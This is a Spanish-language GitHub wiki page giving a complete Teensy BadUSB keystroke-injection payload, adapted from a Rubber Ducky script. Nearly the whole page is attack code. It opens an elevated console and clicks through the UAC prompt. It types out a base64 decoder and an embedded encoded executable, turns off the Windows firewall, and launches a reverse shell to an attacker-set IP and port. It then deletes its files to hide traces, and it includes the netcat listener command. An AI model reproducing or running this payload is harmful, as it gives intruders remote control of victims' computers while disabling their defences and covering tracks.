Payload Shell Reversa Netcat - H3LL0WORLD/Teensy-Plantilla-Base GitHub Wiki
##¿Qué hace?
- Abre una consola como administrador
- Crea una script para convertir código de base64 ASCII a binario.
- Crea un archivo de texto ASCII con el código en base64 para crear shell reversa.
- Convierte el segundo archivo a ejecutable con el primer script.
- Desactiva el firewall.
- Ejecuta la shell reversa con los parámetros HOST y PUERTO indicados.
##Créditos:
- Plantilla Base: H3LL0WORLD
- Autor versión para USB Rubber Ducky: Darren Kitchen.
- Versión para Teensy 3.2 y mejoras: H3LL0WORLD
##Requisitos
- Ip y puertos a la espera de la shell inversa.
nc -l -p PUERTO
##Uso
- Poner el código en la función payload al final de la plantilla base.
- Modificar las variables 'SERVER_MALO' con la IP y el PUERTO que obtendrá la shell reversa.
- Compilar y ejecutar.
// Aquí va la IP y el PUERTO al cual se conectará la shell reversa
#define SERVER_MALO "192.168.1.7 4356"
// Delay promedio en milisegundos
int ds = 500;
// Cuadro de dialogo de ejecutar
GUI(R);
// Esperar a que a aparezca!!
delay(ds);
// Bypass UAC
Escribir("Powershell Start-Process cmd.exe -Verb runAs");
delay (ds * 4);
// Seleccionar si
ALT(S);
delay(ds*2);
// Enviar un enter por si tiene desactivado el uac no intervenir con el código
Enter();
// Darle algo de tiempo a la consola de comandos para aparecer
delay(ds);
// Eliminar si existe el decoder.vbs
Escribir("if exist \"C:\\decoder.vbs\" ( del /q C:\\decoder.vbs )");
// Comenzar a escribir el script decoder.vbs
Escribir("copy con C:\\decoder.vbs");
delay(ds/2);
Escribir("Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0) :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = CreateObject(\"Scripting.FileSystemObject\"):");
Escribir("set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function decodeBase64(base64):");
Escribir("dim DM, EL:Set DM = CreateObject(\"Microsoft.XMLDOM\"):Set EL = DM.createElement(\"tmp\"): EL.DataType = \"bin.base64\":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub writeBytes(file, bytes):Dim binaryStream:");
Escribir("Set binaryStream = CreateObject(\"ADODB.Stream\"):binaryStream.Type = 1: binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub");
CTRL(C);
delay(ds);
// Eliminar el código del ejecutable si existe
Escribir("if exist \"C:\\reverse.txt\" ( del /q C:\\reverse.txt )");
// Escribir el ejecutable codificado
Escribir("copy con C:\\reverse.txt");
Escribir("TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA");
Escribir("AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA");
Escribir("AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA");
Escribir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
Escribir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS");
Escribir("0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA");
Escribir("AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2");
Escribir("gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A");
Escribir("AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA");
Escribir("WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA");
Escribir("MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq");
Escribir("kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF");
Escribir("EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv");
Escribir("KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp");
Escribir("AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm");
Escribir("MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A");
Escribir("VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s");
Escribir("hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9");
Escribir("gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp");
Escribir("bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY");
Escribir("LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B");
Escribir("/7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk");
Escribir("SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA");
Escribir("AAxAAADpdL7//wAAAAIAAAAMQAAA");
CTRL(C);
delay(ds);
// Crear el ejecutable
Escribir("cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe");
// Desactivar el firewalll
Escribir("netsh advfirewall set currentprofile state off");
// Obtener shell reversa
Escribir("c:\\reverse.exe "SERVER_MALO);
delay(ds);
// Limpiar el desorden
Escribir("del /q c:\\decoder.vbs");
Escribir("del /q c:\\reverse.txt");
Escribir("del /q c:\\reverse.exe");
// Salir
Escribir("exit");